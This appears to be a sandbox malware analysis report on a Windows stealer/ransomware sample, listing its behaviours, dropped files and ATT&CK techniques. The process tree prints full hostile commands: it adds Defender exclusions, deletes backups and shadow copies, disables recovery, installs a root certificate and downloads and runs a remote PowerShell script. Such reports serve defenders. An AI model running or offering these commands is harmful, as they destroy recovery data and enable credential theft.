bdb3b5fd6313c168a3e77761dd11fc278ec9a4657f92e4d65b97675e6d130589

Analysis

max time kernel
150s
max time network
157s
platform
windows11-21h2_x64
resource
win11-20260130-en
resource tags

arch:x64arch:x86image:win11-20260130-enlocale:en-usos:windows11-21h2-x64systemwindows
submitted
15/04/2026, 15:22

Sharing

Copy URL Twitter E-mail

Report Analysis Logs

General

Target
2026-04-15_ec3e622c30baa33251b9db61d1d043d4_cryptbot_icedid_luca-stealer_njrat_stealc.exe
Size 158.5MB
Sample260415-srxe9ady9s
SHA256 bdb3b5fd6313c168a3e77761dd11fc278ec9a4657f92e4d65b97675e6d130589
MD5 ec3e622c30baa33251b9db61d1d043d4
SHA1 9d9887ab3a9201ff2d819072f8e2a0a68be89f12
SHA512 a95ce78f7e240ec136b8a8cab8b0488bf105af1561310d95f5da86bc6aeea2428f9c15a8883fbbc8152d3b288ebe83e638b44bea8875eb41ecd4f6b810330280
SSDEEP 3145728:EH7ITR9UOy5ywH7MlSfC0jgDjvmnPEfJFjwcF196FDjj0891/z:3TBECS9jCmn8xFNF19CP91/z
TLSH
T1FE88331457B05E66E4B4D3709A500469FBA36DEA8FB2FC4D7261768827BC1C31E22F1B
MD5 SHA1 SHA512 SSDEEP TLSH

Score

10^/10

defense_evasion discovery execution impact persistence pyinstaller ransomware spyware stealer trojan

Malware Config

Signatures

Modifies WinLogon for persistence 2 TTPs 1 IoCs

persistence

Winlogon Helper DLL

T1547.004

Modify Registry

T1112

description	ioc	Process
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon\Shell = "explorer.exe, C:\\Program Files\\WindowsOptions\\scvhost.exe"	scvhost.exe

UAC bypass 3 TTPs 1 IoCs

defense_evasion trojan

Bypass User Account Control

T1548.002

Disable or Modify Tools

T1562.001

Modify Registry

T1112

description	ioc	Process
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\ConsentPromptBehaviorAdmin = "0"	scvhost.exe

Deletes shadow copies 3 TTPs
Ransomware often targets backup files to inhibit system recovery.
ransomware defense_evasion impact execution

File Deletion
T1070.004

Inhibit System Recovery
T1490

Windows Management Instrumentation
T1047

Badlisted process makes network request 1 IoCs

Network request originating from process or tool commonly abused by malware.

flow	pid	Process
5	1468	powershell.exe

Command and Scripting Interpreter: PowerShell 1 TTPs 8 IoCs

Using powershell.exe command.

execution

PowerShell

T1059.001

pid	Process
1080	powershell.exe
960	powershell.exe
920	powershell.exe
4284	powershell.exe
3316	powershell.exe
1468	powershell.exe
3144	powershell.exe
920	powershell.exe

Deletes system backups 3 TTPs 2 IoCs

Uses wbadmin.exe to inhibit system recovery.

ransomware

Command and Scripting Interpreter

T1059

File Deletion

T1070.004

Inhibit System Recovery

T1490

pid	Process
4376	wbadmin.exe
2436	wbadmin.exe

Executes dropped EXE 11 IoCs

pid	Process
4172	UnRAR.exe
2020	nvidia_driver64.exe
5276	scvhost.exe
4444	nvidia_driver64.exe
992	nvidia_driver64.exe
3728	nvidia_dr64.exe
6008	nvidia_dr64.exe
3356	nvidia_dr64.exe
612	asd.exe
1368	nvidia_d64.exe
4112	nvidia_d64.exe

Loads dropped DLL 36 IoCs

pid	Process
4112	nvidia_d64.exe
4112	nvidia_d64.exe
4112	nvidia_d64.exe
4112	nvidia_d64.exe
4112	nvidia_d64.exe
4112	nvidia_d64.exe
4112	nvidia_d64.exe
4112	nvidia_d64.exe
4112	nvidia_d64.exe
4112	nvidia_d64.exe
4112	nvidia_d64.exe
4112	nvidia_d64.exe
4112	nvidia_d64.exe
4112	nvidia_d64.exe
4112	nvidia_d64.exe
4112	nvidia_d64.exe
4112	nvidia_d64.exe
4112	nvidia_d64.exe
4112	nvidia_d64.exe
4112	nvidia_d64.exe
4112	nvidia_d64.exe
4112	nvidia_d64.exe
4112	nvidia_d64.exe
4112	nvidia_d64.exe
4112	nvidia_d64.exe
4112	nvidia_d64.exe
4112	nvidia_d64.exe
4112	nvidia_d64.exe
4112	nvidia_d64.exe
4112	nvidia_d64.exe
4112	nvidia_d64.exe
4112	nvidia_d64.exe
4112	nvidia_d64.exe
4112	nvidia_d64.exe
4112	nvidia_d64.exe
4112	nvidia_d64.exe

Reads user/profile data of local email clients 2 TTPs
Email clients store some user data on disk where infostealers will often target it.
spyware stealer

Data from Local System
T1005

Credentials In Files
T1552.001
Reads user/profile data of web browsers 3 TTPs
Infostealers often target stored browser data, which can include saved credentials etc.
spyware stealer

Data from Local System
T1005

Credentials In Files
T1552.001

Credentials from Web Browsers
T1555.003
Accesses cryptocurrency files/wallets, possible credential harvesting 2 TTPs
spyware

Data from Local System
T1005

Credentials In Files
T1552.001
Checks installed software on the system 1 TTPs
Looks up Uninstall key entries in the registry to enumerate software on the system.
discovery

Query Registry
T1012

Drops file in System32 directory 2 IoCs

description	ioc	Process
File opened for modification	C:\Windows\system32\Recovery	ReAgentc.exe
File opened for modification	C:\Windows\system32\Recovery\ReAgent.xml	ReAgentc.exe

Drops file in Program Files directory 24 IoCs

description	ioc	Process
File created	C:\Program Files\WindowsOptions\install.ps1	powershell.exe
File created	C:\Program Files\WindowsOptions\nvidia_d64.exe	powershell.exe
File created	C:\Program Files\WindowsOptions\Run.vbs	powershell.exe
File created	C:\Program Files\WindowsOptions\taskmgr.dll	powershell.exe
File created	C:\Program Files\WindowsOptions\UnRAR.exe	powershell.exe
File opened for modification	C:\Program Files\WindowsOptions\scvhost.log	scvhost.exe
File created	C:\Program Files\WindowsOptions\nvidia_driver64\nvidia_driver64.exe	powershell.exe
File opened for modification	C:\Program Files\WindowsOptions\nvidia_driver64\nvidia_driver64.wrapper.log	nvidia_driver64.exe
File created	C:\Program Files\WindowsOptions\1.txt	powershell.exe
File created	C:\Program Files\WindowsOptions\7zr.exe	powershell.exe
File created	C:\Program Files\WindowsOptions\asd.exe	powershell.exe
File created	C:\Program Files\WindowsOptions\nvidia_dr64.exe	powershell.exe
File created	C:\Program Files\WindowsOptions\nvidia_dr64\nvidia_dr64.xml	powershell.exe
File opened for modification	C:\Program Files\WindowsOptions\nvidia_dr64\nvidia_dr64.wrapper.log	nvidia_dr64.exe
File created	C:\Program Files\WindowsOptions\nvidia_driver64.exe	powershell.exe
File created	C:\Program Files\WindowsOptions\scvhost.exe	powershell.exe
File created	C:\Program Files\WindowsOptions\nvidia_driver64\nvidia_driver64.xml	powershell.exe
File opened for modification	C:\Program Files\WindowsOptions\nvidia_driver64\nvidia_driver64.wrapper.log	nvidia_driver64.exe
File opened for modification	C:\Program Files\WindowsOptions\1.txt	powershell.exe
File created	C:\Program Files\WindowsOptions\FACEITInstsller_64.exe	powershell.exe
File created	C:\Program Files\WindowsOptions\n_config	powershell.exe
File created	C:\Program Files\WindowsOptions\WinSW-x64.exe	powershell.exe
File created	C:\Program Files\WindowsOptions\nvidia_dr64\nvidia_dr64.exe	powershell.exe
File opened for modification	C:\Program Files\WindowsOptions\nvidia_dr64\nvidia_dr64.wrapper.log	nvidia_dr64.exe

Drops file in Windows directory 10 IoCs

description	ioc	Process
File opened for modification	C:\Windows\Logs\WindowsBackup\WBEngine.2.etl	wbadmin.exe
File opened for modification	C:\Windows\Logs\WindowsBackup\WBEngine.1.etl	wbadmin.exe
File opened for modification	C:\Windows\Panther\UnattendGC\setuperr.log	ReAgentc.exe
File opened for modification	C:\Windows\Panther\UnattendGC\diagerr.xml	ReAgentc.exe
File opened for modification	C:\Windows\Panther\UnattendGC\diagwrn.xml	ReAgentc.exe
File opened for modification	C:\Windows\Logs\WindowsBackup\WBEngine.3.etl	wbadmin.exe
File opened for modification	C:\Windows\Logs\WindowsBackup\WBEngine.3.etl	wbadmin.exe
File opened for modification	C:\Windows\Logs\ReAgent\ReAgent.log	ReAgentc.exe
File opened for modification	C:\Windows\Logs\WindowsBackup\WBEngine.2.etl	wbadmin.exe
File opened for modification	C:\Windows\Logs\WindowsBackup\WBEngine.1.etl	wbadmin.exe

Browser Information Discovery 1 TTPs
Enumerate browser information.
discovery

Browser Information Discovery
T1217

Detects Pyinstaller 1 IoCs

pyinstaller

resource	yara_rule
behavioral2/files/0x001900000002b442-107.dat	pyinstaller

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Modifies trusted root certificate store through registry 1 TTPs 1 IoCs

A root certificate was added, modified, or removed in the trusted certificate store registry paths.

defense_evasion

Install Root Certificate

T1553.004

description	ioc	Process
Set value (data)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\ROOT\Certificates\B18FCA1DA9BFF468D33036994E1C1FBE17FE51E5\Blob = 030000000100000014000000b18fca1da9bff468d33036994e1c1fbe17fe51e50b00000001000000140000006d00690074006d00700072006f00780079000000200000000100000039030000308203353082021da00302010202145aad3c76662facb11659217b5b93a649853caccf300d06092a864886f70d01010b050030283112301006035504030c096d69746d70726f787931123010060355040a0c096d69746d70726f7879301e170d3236303431333137303634315a170d3336303431323137303634315a30283112301006035504030c096d69746d70726f787931123010060355040a0c096d69746d70726f787930820122300d06092a864886f70d01010105000382010f003082010a0282010100d1b3e6fda45d5105cb3bde89a256c8de2a9c4e795956b4bc859c934388cf38d2ec5be6af1eb37d431a74e15d1f257344e2179b85b1ebe9f188a6c73908e43b21b7660d731eb088a1b39fc5377cb063d425f547215b634b0913450181c04d0416e2c387760656105cd55aa493ff1d7e5f62f9cf5eeb411e915790ed00e11e49225136d2995303ba94960628f359224ed5b28b3ca870411cd37480466be6c3f54c1498f9a2b76af2e634494689b598ed331c18bb66e34eccf852d40c647c5a389086ad84ab56a1d5470c19e6a59d9b19de41eb76a97c9bdb2a3f30d0a9e06a2787275ef20bdcf68577e2de2a34ffe2f469dda75f7762599e946bfe96d7663c6dad0203010001a3573055300f0603551d130101ff040530030101ff30130603551d25040c300a06082b06010505070301300e0603551d0f0101ff040403020106301d0603551d0e041604141a33dc8649809a4d0725042b154a6dff7abc36e2300d06092a864886f70d01010b050003820101006e905f6f9ea8f28b4c533bc77af30acd50152d2be8a542c4beb06e520b84487ff835141c702b662fc82a030185eb06edf47ddef43a49d0499c7d90114d25accef5c2fe561b6646e55f013fcd0e1fee7597b8d7f4ded0a0364eacb913591d80b9d5542e7ba2d88c1bf7f0150ba8e5a9ec29bae350eaf48fcd8d372fcab503224eba22aab5ea6541cd45340a0db80526f1937daa8e71d3a553b0b63311f4470153d1d73930e296cfefabe527f64696358807298b995ab524f3af6cbf70be3ef26c0cda3947e6c45846a1c162f1000d773ba8c3851f152c6ae789b32774b10181c85b2c30e871860e4cf241c8f41a94b1b0fe5058186ce71d287cfbb14654c2d7e1	nvidia_dr64.exe

Interacts with shadow copies 3 TTPs 1 IoCs

Shadow copies are often targeted by ransomware to inhibit system recovery.

ransomware

File Deletion

T1070.004

Inhibit System Recovery

T1490

Direct Volume Access

T1006

pid	Process
5284	vssadmin.exe

Kills process with taskkill 3 IoCs

defense_evasion

pid	Process
1688	taskkill.exe
412	taskkill.exe
3084	taskkill.exe

Modifies registry class 1 IoCs

description	ioc	Process
Key created	\REGISTRY\USER\S-1-5-21-1456842261-3464001825-2855069093-1000_Classes\Local Settings	2026-04-15_ec3e622c30baa33251b9db61d1d043d4_cryptbot_icedid_luca-stealer_njrat_stealc.exe

Modifies system certificate store 2 TTPs 1 IoCs

defense_evasion spyware trojan

Install Root Certificate

T1553.004

Modify Registry

T1112

description	ioc	Process
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\ROOT\Certificates\B18FCA1DA9BFF468D33036994E1C1FBE17FE51E5	nvidia_dr64.exe

Suspicious behavior: EnumeratesProcesses 64 IoCs

pid	Process
1080	powershell.exe
1080	powershell.exe
1080	powershell.exe
1080	powershell.exe
920	powershell.exe
920	powershell.exe
4284	powershell.exe
4284	powershell.exe
3316	powershell.exe
3316	powershell.exe
5276	scvhost.exe
5276	scvhost.exe
5276	scvhost.exe
5276	scvhost.exe
5276	scvhost.exe
5276	scvhost.exe
1468	powershell.exe
5276	scvhost.exe
5276	scvhost.exe
1468	powershell.exe
5276	scvhost.exe
5276	scvhost.exe
5276	scvhost.exe
5276	scvhost.exe
960	powershell.exe
5276	scvhost.exe
5276	scvhost.exe
960	powershell.exe
5276	scvhost.exe
5276	scvhost.exe
960	powershell.exe
5276	scvhost.exe
5276	scvhost.exe
3144	powershell.exe
3144	powershell.exe
5276	scvhost.exe
5276	scvhost.exe
5276	scvhost.exe
5276	scvhost.exe
5276	scvhost.exe
5276	scvhost.exe
5276	scvhost.exe
5276	scvhost.exe
5276	scvhost.exe
5276	scvhost.exe
5276	scvhost.exe
5276	scvhost.exe
5276	scvhost.exe
5276	scvhost.exe
5276	scvhost.exe
5276	scvhost.exe
5276	scvhost.exe
5276	scvhost.exe
5276	scvhost.exe
5276	scvhost.exe
5276	scvhost.exe
5276	scvhost.exe
5276	scvhost.exe
5276	scvhost.exe
5276	scvhost.exe
5276	scvhost.exe
5276	scvhost.exe
5276	scvhost.exe
5276	scvhost.exe

Suspicious use of AdjustPrivilegeToken 59 IoCs

description	pid	Process
Token: SeDebugPrivilege	1080	powershell.exe
Token: SeDebugPrivilege	920	powershell.exe
Token: SeDebugPrivilege	4284	powershell.exe
Token: SeDebugPrivilege	4444	nvidia_driver64.exe
Token: SeDebugPrivilege	992	nvidia_driver64.exe
Token: SeDebugPrivilege	3728	nvidia_dr64.exe
Token: SeBackupPrivilege	3724	vssvc.exe
Token: SeRestorePrivilege	3724	vssvc.exe
Token: SeAuditPrivilege	3724	vssvc.exe
Token: SeDebugPrivilege	3316	powershell.exe
Token: SeDebugPrivilege	6008	nvidia_dr64.exe
Token: SeDebugPrivilege	1468	powershell.exe
Token: SeIncreaseQuotaPrivilege	3316	powershell.exe
Token: SeSecurityPrivilege	3316	powershell.exe
Token: SeTakeOwnershipPrivilege	3316	powershell.exe
Token: SeLoadDriverPrivilege	3316	powershell.exe
Token: SeSystemProfilePrivilege	3316	powershell.exe
Token: SeSystemtimePrivilege	3316	powershell.exe
Token: SeProfSingleProcessPrivilege	3316	powershell.exe
Token: SeIncBasePriorityPrivilege	3316	powershell.exe
Token: SeCreatePagefilePrivilege	3316	powershell.exe
Token: SeBackupPrivilege	3316	powershell.exe
Token: SeRestorePrivilege	3316	powershell.exe
Token: SeShutdownPrivilege	3316	powershell.exe
Token: SeDebugPrivilege	3316	powershell.exe
Token: SeSystemEnvironmentPrivilege	3316	powershell.exe
Token: SeRemoteShutdownPrivilege	3316	powershell.exe
Token: SeUndockPrivilege	3316	powershell.exe
Token: SeManageVolumePrivilege	3316	powershell.exe
Token: 33	3316	powershell.exe
Token: 34	3316	powershell.exe
Token: 35	3316	powershell.exe
Token: 36	3316	powershell.exe
Token: SeDebugPrivilege	960	powershell.exe
Token: SeDebugPrivilege	3144	powershell.exe
Token: SeIncreaseQuotaPrivilege	3144	powershell.exe
Token: SeSecurityPrivilege	3144	powershell.exe
Token: SeTakeOwnershipPrivilege	3144	powershell.exe
Token: SeLoadDriverPrivilege	3144	powershell.exe
Token: SeSystemProfilePrivilege	3144	powershell.exe
Token: SeSystemtimePrivilege	3144	powershell.exe
Token: SeProfSingleProcessPrivilege	3144	powershell.exe
Token: SeIncBasePriorityPrivilege	3144	powershell.exe
Token: SeCreatePagefilePrivilege	3144	powershell.exe
Token: SeBackupPrivilege	3144	powershell.exe
Token: SeRestorePrivilege	3144	powershell.exe
Token: SeShutdownPrivilege	3144	powershell.exe
Token: SeDebugPrivilege	3144	powershell.exe
Token: SeSystemEnvironmentPrivilege	3144	powershell.exe
Token: SeRemoteShutdownPrivilege	3144	powershell.exe
Token: SeUndockPrivilege	3144	powershell.exe
Token: SeManageVolumePrivilege	3144	powershell.exe
Token: 33	3144	powershell.exe
Token: 34	3144	powershell.exe
Token: 35	3144	powershell.exe
Token: 36	3144	powershell.exe
Token: SeDebugPrivilege	1688	taskkill.exe
Token: SeDebugPrivilege	412	taskkill.exe
Token: SeDebugPrivilege	3084	taskkill.exe

Suspicious use of WriteProcessMemory 28 IoCs

description	pid	Process	procid_target
PID 2480 wrote to memory of 3112	2480	2026-04-15_ec3e622c30baa33251b9db61d1d043d4_cryptbot_icedid_luca-stealer_njrat_stealc.exe	79
PID 3112 wrote to memory of 1080	3112	WScript.exe	80
PID 1080 wrote to memory of 4172	1080	powershell.exe	82
PID 1080 wrote to memory of 2020	1080	powershell.exe	83
PID 1080 wrote to memory of 5276	1080	powershell.exe	84
PID 5276 wrote to memory of 920	5276	scvhost.exe	85
PID 1080 wrote to memory of 4444	1080	powershell.exe	87
PID 5276 wrote to memory of 4284	5276	scvhost.exe	89
PID 4284 wrote to memory of 5316	4284	powershell.exe	94
PID 5316 wrote to memory of 3392	5316	cmd.exe	96
PID 4284 wrote to memory of 1564	4284	powershell.exe	97
PID 1564 wrote to memory of 4376	1564	cmd.exe	99
PID 4284 wrote to memory of 232	4284	powershell.exe	101
PID 232 wrote to memory of 2436	232	cmd.exe	103
PID 1080 wrote to memory of 3728	1080	powershell.exe	105
PID 4284 wrote to memory of 5716	4284	powershell.exe	108
PID 5716 wrote to memory of 5284	5716	cmd.exe	110
PID 1080 wrote to memory of 3356	1080	powershell.exe	114
PID 3356 wrote to memory of 3316	3356	nvidia_dr64.exe	115
PID 5276 wrote to memory of 612	5276	scvhost.exe	117
PID 5276 wrote to memory of 1468	5276	scvhost.exe	118
PID 1468 wrote to memory of 960	1468	powershell.exe	120
PID 3356 wrote to memory of 3144	3356	nvidia_dr64.exe	121
PID 3356 wrote to memory of 1368	3356	nvidia_dr64.exe	123
PID 1368 wrote to memory of 4112	1368	nvidia_d64.exe	125
PID 4112 wrote to memory of 1688	4112	nvidia_d64.exe	126
PID 4112 wrote to memory of 412	4112	nvidia_d64.exe	128
PID 4112 wrote to memory of 3084	4112	nvidia_d64.exe	130

System policy modification 1 TTPs 1 IoCs

defense_evasion

Modify Registry

T1112

description	ioc	Process
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\ConsentPromptBehaviorAdmin = "0"	scvhost.exe

Uses Volume Shadow Copy service COM API
The Volume Shadow Copy service is used to manage backups/snapshots.
ransomware

C:\Users\Admin\AppData\Local\Temp\2026-04-15_ec3e622c30baa33251b9db61d1d043d4_cryptbot_icedid_luca-stealer_njrat_stealc.exe
"C:\Users\Admin\AppData\Local\Temp\2026-04-15_ec3e622c30baa33251b9db61d1d043d4_cryptbot_icedid_luca-stealer_njrat_stealc.exe"
1⤵
- Modifies registry class
- Suspicious use of WriteProcessMemory
PID:2480
- C:\Windows\System32\WScript.exe
  "C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\RarSFX0\Run.vbs"
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:3112
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass -File "C:\Users\Admin\AppData\Local\Temp\RarSFX0\install.ps1"
    3⤵
    - Command and Scripting Interpreter: PowerShell
    - Drops file in Program Files directory
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    - Suspicious use of WriteProcessMemory
    PID:1080
  - - C:\Users\Admin\AppData\Local\Temp\RarSFX0\UnRAR.exe
      "C:\Users\Admin\AppData\Local\Temp\RarSFX0\UnRAR.exe" x -y -ppassword C:\Users\Admin\AppData\Local\Temp\RarSFX0\sfx.rar C:\Users\Admin\AppData\Local\Temp\RarSFX0\
      4⤵
      Executes dropped EXE
      PID:4172
  - - C:\Program Files\WindowsOptions\nvidia_driver64.exe
      "C:\Program Files\WindowsOptions\nvidia_driver64.exe"
      4⤵
      Executes dropped EXE
      PID:2020
  - - C:\Program Files\WindowsOptions\scvhost.exe
      "C:\Program Files\WindowsOptions\scvhost.exe"
      4⤵
      Modifies WinLogon for persistence
      UAC bypass
      Executes dropped EXE
      Drops file in Program Files directory
      Suspicious behavior: EnumeratesProcesses
      Suspicious use of WriteProcessMemory
      System policy modification
      PID:5276
    - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        powershell.exe -NoProfile -WindowStyle Hidden -Command "Add-MpPreference -ExclusionPath 'C:\Program Files\WindowsOptions' -ErrorAction SilentlyContinue; Add-MpPreference -ExclusionPath 'C:\Windows' -ErrorAction SilentlyContinue"
        5⤵
        Command and Scripting Interpreter: PowerShell
        Suspicious behavior: EnumeratesProcesses
        Suspicious use of AdjustPrivilegeToken
        
        PID:920
    - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        powershell -NoProfile -WindowStyle Hidden -ExecutionPolicy Bypass -Command "Disable-ComputerRestore -Drive C:\ -ErrorAction SilentlyContinue; Start-Process cmd -ArgumentList '/c','reagentc /disable' -WindowStyle Hidden -Wait -ErrorAction SilentlyContinue; Start-Process cmd -ArgumentList '/c','wbadmin delete backup -backupTarget:C: -allVersions -quiet' -WindowStyle Hidden -Wait -ErrorAction SilentlyContinue; Start-Process cmd -ArgumentList '/c','wbadmin delete backup -backupTarget:D: -allVersions -quiet' -WindowStyle Hidden -Wait -ErrorAction SilentlyContinue; Start-Process cmd -ArgumentList '/c','vssadmin delete shadows /all /quiet' -WindowStyle Hidden -Wait -ErrorAction SilentlyContinue"
        5⤵
        Command and Scripting Interpreter: PowerShell
        Suspicious behavior: EnumeratesProcesses
        Suspicious use of AdjustPrivilegeToken
        Suspicious use of WriteProcessMemory
        
        PID:4284
      - C:\Windows\system32\cmd.exe
        
        "C:\Windows\system32\cmd.exe" /c reagentc /disable
        6⤵
        Suspicious use of WriteProcessMemory
        
        PID:5316
        
        C:\Windows\system32\ReAgentc.exe
        
        reagentc /disable
        7⤵
        Drops file in System32 directory
        Drops file in Windows directory
        
        PID:3392
      - C:\Windows\system32\cmd.exe
        
        "C:\Windows\system32\cmd.exe" /c wbadmin delete backup -backupTarget:C: -allVersions -quiet
        6⤵
        Suspicious use of WriteProcessMemory
        
        PID:1564
        
        C:\Windows\system32\wbadmin.exe
        
        wbadmin delete backup -backupTarget:C: -allVersions -quiet
        7⤵
        Deletes system backups
        Drops file in Windows directory
        
        PID:4376
      - C:\Windows\system32\cmd.exe
        
        "C:\Windows\system32\cmd.exe" /c wbadmin delete backup -backupTarget:D: -allVersions -quiet
        6⤵
        Suspicious use of WriteProcessMemory
        
        PID:232
        
        C:\Windows\system32\wbadmin.exe
        
        wbadmin delete backup -backupTarget:D: -allVersions -quiet
        7⤵
        Deletes system backups
        Drops file in Windows directory
        
        PID:2436
      - C:\Windows\system32\cmd.exe
        
        "C:\Windows\system32\cmd.exe" /c vssadmin delete shadows /all /quiet
        6⤵
        Suspicious use of WriteProcessMemory
        
        PID:5716
        
        C:\Windows\system32\vssadmin.exe
        
        vssadmin delete shadows /all /quiet
        7⤵
        Interacts with shadow copies
        
        PID:5284
    - - C:\Program Files\WindowsOptions\asd.exe
        
        "C:\Program Files\WindowsOptions\asd.exe"
        5⤵
        Executes dropped EXE
        
        PID:612
    - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        powershell.exe -NoProfile -WindowStyle Hidden -Command "& { curl -o $env:TEMP\send_tdata.ps1 https://faceit-cdn.org/uploads/Faceit/berserk/send_tdata.ps1; powershell -ExecutionPolicy Bypass -File $env:TEMP\send_tdata.ps1 }"
        5⤵
        Badlisted process makes network request
        Command and Scripting Interpreter: PowerShell
        Suspicious behavior: EnumeratesProcesses
        Suspicious use of AdjustPrivilegeToken
        Suspicious use of WriteProcessMemory
        
        PID:1468
      - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass -File C:\Users\Admin\AppData\Local\Temp\send_tdata.ps1
        6⤵
        Command and Scripting Interpreter: PowerShell
        Suspicious behavior: EnumeratesProcesses
        Suspicious use of AdjustPrivilegeToken
        
        PID:960
  - - C:\Program Files\WindowsOptions\nvidia_driver64\nvidia_driver64.exe
      "C:\Program Files\WindowsOptions\nvidia_driver64\nvidia_driver64.exe" install
      4⤵
      Executes dropped EXE
      Drops file in Program Files directory
      Suspicious use of AdjustPrivilegeToken
      PID:4444
  - - C:\Program Files\WindowsOptions\nvidia_dr64\nvidia_dr64.exe
      "C:\Program Files\WindowsOptions\nvidia_dr64\nvidia_dr64.exe" install
      4⤵
      Executes dropped EXE
      Drops file in Program Files directory
      Suspicious use of AdjustPrivilegeToken
      PID:3728
  - - C:\Program Files\WindowsOptions\nvidia_dr64.exe
      "C:\Program Files\WindowsOptions\nvidia_dr64.exe"
      4⤵
      Executes dropped EXE
      Modifies trusted root certificate store through registry
      Modifies system certificate store
      Suspicious use of WriteProcessMemory
      PID:3356
    - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        powershell.exe -NoProfile -ExecutionPolicy Bypass -WindowStyle Hidden -Command "Get-NetFirewallRule -DisplayName 'nvidia' -ErrorAction SilentlyContinue | Remove-NetFirewallRule"
        5⤵
        Command and Scripting Interpreter: PowerShell
        Suspicious behavior: EnumeratesProcesses
        Suspicious use of AdjustPrivilegeToken
        
        PID:3316
    - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        powershell.exe -NoProfile -ExecutionPolicy Bypass -WindowStyle Hidden -Command "New-NetFirewallRule -DisplayName 'nvidia' -Direction Inbound -Program 'C:\Program Files\WindowsOptions\nvidia_d64.exe' -Action Allow -Profile Any"
        5⤵
        Command and Scripting Interpreter: PowerShell
        Suspicious behavior: EnumeratesProcesses
        Suspicious use of AdjustPrivilegeToken
        
        PID:3144
    - - C:\Program Files\WindowsOptions\nvidia_d64.exe
        
        "C:\Program Files\WindowsOptions\nvidia_d64.exe" -s "C:\Program Files\WindowsOptions\n_config" --mode regular@6967 --set confdir="C:/ProgramData/WindowsOptions" -q --ssl-insecure
        5⤵
        Executes dropped EXE
        Suspicious use of WriteProcessMemory
        
        PID:1368
      - C:\Program Files\WindowsOptions\nvidia_d64.exe
        
        "C:\Program Files\WindowsOptions\nvidia_d64.exe" -s "C:\Program Files\WindowsOptions\n_config" --mode regular@6967 --set confdir="C:/ProgramData/WindowsOptions" -q --ssl-insecure
        6⤵
        Executes dropped EXE
        Loads dropped DLL
        Suspicious use of WriteProcessMemory
        
        PID:4112
        
        C:\Windows\SYSTEM32\taskkill.exe
        
        taskkill /F /IM FACEITClient.exe
        7⤵
        Kills process with taskkill
        Suspicious use of AdjustPrivilegeToken
        
        PID:1688
        
        C:\Windows\SYSTEM32\taskkill.exe
        
        taskkill /F /IM faceit.exe
        7⤵
        Kills process with taskkill
        Suspicious use of AdjustPrivilegeToken
        
        PID:412
        
        C:\Windows\SYSTEM32\taskkill.exe
        
        taskkill /F /IM FACEITService.exe
        7⤵
        Kills process with taskkill
        Suspicious use of AdjustPrivilegeToken
        
        PID:3084

C:\Program Files\WindowsOptions\nvidia_driver64\nvidia_driver64.exe
"C:\Program Files\WindowsOptions\nvidia_driver64\nvidia_driver64.exe"
1⤵
- Executes dropped EXE
- Drops file in Program Files directory
- Suspicious use of AdjustPrivilegeToken
PID:992

C:\Program Files\WindowsOptions\nvidia_dr64\nvidia_dr64.exe
"C:\Program Files\WindowsOptions\nvidia_dr64\nvidia_dr64.exe"
1⤵
- Executes dropped EXE
- Drops file in Program Files directory
- Suspicious use of AdjustPrivilegeToken
PID:6008

C:\Windows\system32\vssvc.exe
C:\Windows\system32\vssvc.exe
1⤵
- Suspicious use of AdjustPrivilegeToken
PID:3724

Network

MITRE ATT&CK Enterprise v16

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

Windows Management Instrumentation

T1047

Persistence

Boot or Logon Autostart Execution

T1547

Winlogon Helper DLL

T1547.004

Privilege Escalation

Abuse Elevation Control Mechanism

T1548

Bypass User Account Control

T1548.002

Boot or Logon Autostart Execution

T1547

Winlogon Helper DLL

T1547.004

Defense Evasion

Abuse Elevation Control Mechanism

T1548

Bypass User Account Control

T1548.002

Direct Volume Access

T1006

Impair Defenses

T1562

Disable or Modify Tools

T1562.001

Indicator Removal

T1070

File Deletion

T1070.004

Modify Registry

T1112

Subvert Trust Controls

T1553

Install Root Certificate

T1553.004

Credential Access

Credentials from Password Stores

T1555

Credentials from Web Browsers

T1555.003

Unsecured Credentials

T1552

Credentials In Files

T1552.001

Discovery

Browser Information Discovery

T1217

Query Registry

T1012

System Information Discovery

T1082

Lateral Movement

Collection

Data from Local System

T1005

Command and Control

Exfiltration

Impact

Inhibit System Recovery

T1490

Replay Monitor

Loading Replay Monitor...

Downloads

nvidia_dr64.wrapper.log

Path C:\Program Files\WindowsOptions\nvidia_dr64\nvidia_dr64.wrapper.log
Size 308B
SHA256 43e0e0b07cee2697154b94bdc115752826fb11cbced08c3d14183f539bdb766a
MD5 92ec56273bb6595252657b2dab47b0ce
SHA1 1c8c92a3601f19d0a5fc72c79ae8d1eb0e04f8fb
SHA512 24cebdd936a23c67017171523c08fab42cbccc3d141e7505e79efdcf066d82299066ef6c0e16b604706fa50bf43d60a86c3cb7c0d43b305e5151db3c08c1c788
TLSH
T119E0CD2306612CB513C911836557FECF7B913E33960C301233B1040855C660F7915268
MD5 SHA1 SHA512 TLSH

Submit Download

nvidia_dr64.xml

Path C:\Program Files\WindowsOptions\nvidia_dr64\nvidia_dr64.xml
Size 399B
SHA256 4cd207cd30e56ee3ff9972fd0c0194b008645110f4b538dfdf15f5f1fde0d0d7
MD5 01abc06c49048bea9dd90359ba9b9cdc
SHA1 2ab260f3be6cb45654f046f0f1178305180c05ac
